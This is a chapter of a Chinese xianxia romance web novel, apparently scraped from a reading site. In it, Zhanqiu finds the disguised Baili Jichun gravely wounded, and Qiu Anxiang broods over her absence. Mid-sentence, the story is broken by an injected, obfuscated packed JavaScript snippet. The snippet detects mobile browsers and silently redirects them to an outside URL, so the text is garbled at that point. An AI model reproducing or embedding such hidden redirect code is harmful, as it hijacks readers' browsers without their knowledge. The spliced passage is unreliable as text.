除了灵元丹,再无其他丹药有此功效,看来她想要快速恢复自己的功力还需再想其他的办法。斩秋摆摆手,无意刁难于他:“算了,你走吧。” 她说完又靠回凭几上,拣起先前没吃完的桂花糕细细品尝。 听她这么说,裘旭没再多说什么,转身准备离开。 就在他快要迈出殿门时,猝然想起什么,神情微动,在原地驻足片刻,再度转过身来。 “你方才说,这些年我为安儿准备的寿礼最后都入了他的私库。” 斩秋闻声朝他看去,不明白他为何重复起自己说过的话。 思忖之际,便见他的表情变得怀疑起来,问出了一个教她手中桂花糕蓦然掉落的问题。 “这千年来你从未出过缥缈境,你是怎么知道这些事情的?” 22. 第22章 酥糯的桂花糕掉在地上,发出“啪哒”的声响,一圈细碎的粉屑落在周围,仿佛石子掷入水中激起涟漪,一如斩秋原本平静的眼底突然闪过一瞬慌乱。 她的喉咙吞咽了下,很快便移开了视线,开口时已不见任何慌张之色:“这些事情想要打听不是很容易吗?” “可是为母后挑选寿礼一事只有我和安儿知晓。” “不见得吧。”斩秋挑眉,故意摆出一副揶揄的模样,意味深长道,“朝云宫和御宣宫中有那么多仙侍,说不定就有嘴巴不牢的呢?” 裘旭闻言不由得垂眸,沉思半晌,终是拂袖离去。 见其离开,一直站在殿内未言的灵衫才开口道:“殿下,需不需要属下去朝云宫……” “不用。”斩秋知道她的意思,摇摇头掐断了她的后话,“就算他真起疑心将朝云宫所有仙侍质问一番又如何?本就是没有证据的事。” 若是眼下去朝云宫和御宣宫打点一番,反倒会留下把柄。 “是。”灵衫颔首。 “对了,百里及春这几日在做什么?”斩秋问。 这几日她没再去过齐星斋,百里及春也很默契得没来秋茗殿。分明都在秋茗宫中,但是一连几日都不见他的身影,倒真的教她有几分好奇。 “未曾见其出过齐星斋。”灵衫见她神情疑惑,又补了一句,“需要属下去查看一番吗?” 算算时间,如今距离他恢复本源之力还有两日,他暂时应该弄不出什么乱子。 可他当真能老老实实待在齐星斋? 思忖过后,斩秋还是决定去查看一番,于是起身看向灵衫:“我和你一起去。” 片刻之间,二人已来到齐星斋。 起初斩秋敲门无人应答时,她只当是百里及春懒散傲慢,不以为意。可一炷香的时间过去,屋内仍未传来半点儿动静,她的面上掠过一丝狐疑。 她不禁朝灵衫看去,与其交换了个神色,便见后者掌心聚力朝门前推去。 门开之后,忽然一股浓郁的血腥味在空中弥漫开来,引得斩秋长眉一折,心中感到蹊跷。 奇怪,青天白日之下,为何室内如此阴暗,且处处充斥着浑浊之气,一点儿也不似这里原本的模样。 她眯起眼将四周扫视一番,却见屋内并无人影,唯独床上的帷幔披散,遮去了里面的景象。 正当她欲过去一探究竟时,手腕被灵衫从身后拉住,她回首望去见其动了动唇无声道出四字。 “当心有诈。” 灵衫说完便领先一步走于她身前,手慢慢朝腰侧探去握上剑柄。行至床边灵衫挥手撩开帷幔,却在看到眼前景象时动作迟疑了一瞬,轻轻皱起了眉。 床上躺着的人浑身血迹,面色苍白如雪,一双剑眉紧锁,额头颈间的经脉凸起,哪怕是教人远远看着也能想象得出他此刻正忍受着怎样的痛苦。 而那人正是百里及春。 此时他并非顶着玲珑的面容,而是恢复了原本的样貌。想来是斩秋的化形术本就不精,故而在他遭遇袭击时便已被对方所破。 斩秋脸上闪过明显的惊愕和疑惑,她快步踱至床边,伸手欲查看他的情况。 只是他的衣袍早已被染得处处是血迹,甚至已看不出原本的颜色,竟让她一时不知该从何处查看起,伸出的手就这么腾在半空,最后握拳收于身侧。 钻心刻骨的疼痛使得汗珠从百里及春额头大颗滚落,听见身旁动静的他似乎有了点反应,紧皱的眉头轻颤了一下。 “殿下,属下观其伤势应该并非今日所受。”灵衫在旁突然说道。 斩秋听罢脸色突然变得沉重,心中有许多疑问等着他解答。 譬如他是怎么受的伤?在何处受的伤?又是何人所为?他如今以凡人之躯承受这些,与极刑无异。 想到这里,斩秋心底不由升起一丝愧疚,是她让百里及春服下源溯丹的。 灵衫跟在斩秋身边千年,自是能读懂她的每一个表情。见她神色自责,忍不住开口道。 “殿下,这并非您的错,您与他本就立场不同。” 话音落下,斩秋收起心中思绪,眼下当务之急是先为他疗伤。 先把禁制解了吧,只有先解除源溯丹对本源之力的抑制,才能开始治疗。 斩秋这么想着,身体便这么做了,她朝后退了两步,指尖交叠幻化出一缕薄薄白雾朝他额心探去,解除禁制后,又施神力为其疗伤。 只是她的神力似乎对百里及春的伤势不起作用,他的脸色非但没有丝毫好转,还愈显苍白。 斩秋连忙收手,心想可能是她的神力与百里及春相冲,所以不起作用,于是转头看向灵衫:“灵衫,你试试。” 灵衫领意照做,但是依旧不见任何起色,只得收力对斩秋摇了摇头:“属下无能,救不了他。” “一定还有办法。”斩秋心中虽有焦急,却十分清醒。 如今放眼天宫,能救百里及春的或许只有元离神尊了。 可百里及春的身份绝不能被天宫旁人知晓,她若是此时去寻元离神尊,神尊是否会揭穿百里及春的身份尚且两说,更别谈答应替其医治了。 该怎么办?六界之中,还有谁的医能与元离神尊相当? 妖族林烨倒是一个起死回生的妙手,可是妖界太远,且她没有能在妖界出入自如的身份,恐怕百里及春如今的状况是拖不起了。 至于魔界,依赤龙那性子,要是让他知道百里及春受此重伤,怕是她前脚才将百里及春送过去,后脚自己就要身陷囹圄了罢。 还有谁呢? 深思游走半晌,斩秋突然想起什么,眼眸一亮:“我们回缥缈境!” 这几日裘安忙于幽境一事,时常前往御宣殿与裘旭商议事宜。好不容易待到此事尘埃落定,终于想起来寻找苍竹的踪迹。 寻不到苍竹,便无法定下婚期,夜长梦多。 起初他对这桩婚事并不热忱,心想一切只要顺从着父皇的旨意便好。 纵使他心底其实并不情愿,只是想先应承着,之后拖上一些时日或许事情会有转机。就算改变不了,最坏的结果也不过是娶一个不爱的女子罢了。 可他却没想过,到最后会是这样截然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14283023|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相反的转变。他竟有些庆幸父皇赐的这份姻缘。 从小到大,父皇给他的无论好坏他都一一受着,就因为不敢拒绝惹得父皇不悦。可那些东西里却没有一个是他真正想要的。 唯独这一次,他真的想要得到。 出于什么原因非要不可呢? 裘安僵直地站在书橱前,眼神因为这个问题变得迷朦,直到邬霖的禀报声在身后响起。 “殿下,方才南天门守卫来报,斩秋上神出宫了。” 裘安回神,将手中的经卷放回去:“就她一人?” “是。”邬霖回禀。 眼下这个时机,她怎会只身离开?裘安眉头微蹙,没由来地想起一人:“玲珑可还在秋茗宫中?” 早在得到斩秋出宫的消息时,邬霖便已悄悄地潜入秋茗宫中一探究竟。因为殿下嘱咐过要盯紧玲珑,故而他最先前往齐星斋,彼时齐星斋内空无一人。 是以,邬霖摇首答道:“秋茗宫内除去普通仙侍,唯有灵衫一人。” 听到这个答案的裘安脸色骤然一沉。 屋内突然静了。 良晌过去,他才抬手一挥,重新将目光聚于成堆的古卷上,不咸不淡对邬霖吩咐道:“知道了,你先下去吧。” 这天夜里,裘安没有回朝云宫寝殿,而是直接睡在了执月阁。 他坐在地上背倚着书橱,睡着时手边还挂着未看完的经卷。一双剑眉轻轻皱着,分明是在睡梦中,可他的神情和坐姿却紧绷无比。 大抵是因为睡梦中,再一次见到了斩秋。 她还是那么高高在上,傲慢无礼。 二人初定婚约之际,天帝有意让他二人多加亲近,故而命裘安去邀斩秋同游漫丘。 彼时裘安站在秋茗殿外,吩咐门外仙侍进去通禀。 没过多久,殿内传来仙侍请示的声音。 “殿下,二殿下求见。” 裘安的耳力向来很好,哪怕隔着一道门与数座屏风,依旧能听见里面的声响,只听仙侍请示完后殿内轻飘飘地漾起两字—— “不见。” 声音有些含糊,好像在咀嚼着什么。 那名仙侍领意退了出来,对裘安躬身恭敬道:“殿下此时正忙,要不二殿下先请回,改日再来罢。” 裘安依旧笑得柔和,仿佛并不知道里面斩秋所忙正事便是吃食,温声道:“无碍,我可以等。” 既是父皇之命,他这戏便也得作得认真一点。仅被回绝一次就退缩,未免显得毫无诚意。 “这……”传话的仙侍听他这么说,面色略显为难,踌躇一番叹了口气,再度迈入殿内请示。 “殿下,要不……还是出去见见?二殿下一直在门外等着呢。” 话音落下,殿内突然静了一会儿。 裘安原以为这个空隙她定是在想编一个理由来搪塞他,如此也正合他意。待她想好缘由,他便可以顺理成章地离开,届时回去回禀父皇亦不显错处。 他就这么好整以暇地立在门外,却听里面斩秋的声音伴随着一声嗤笑响起。 “让他等。”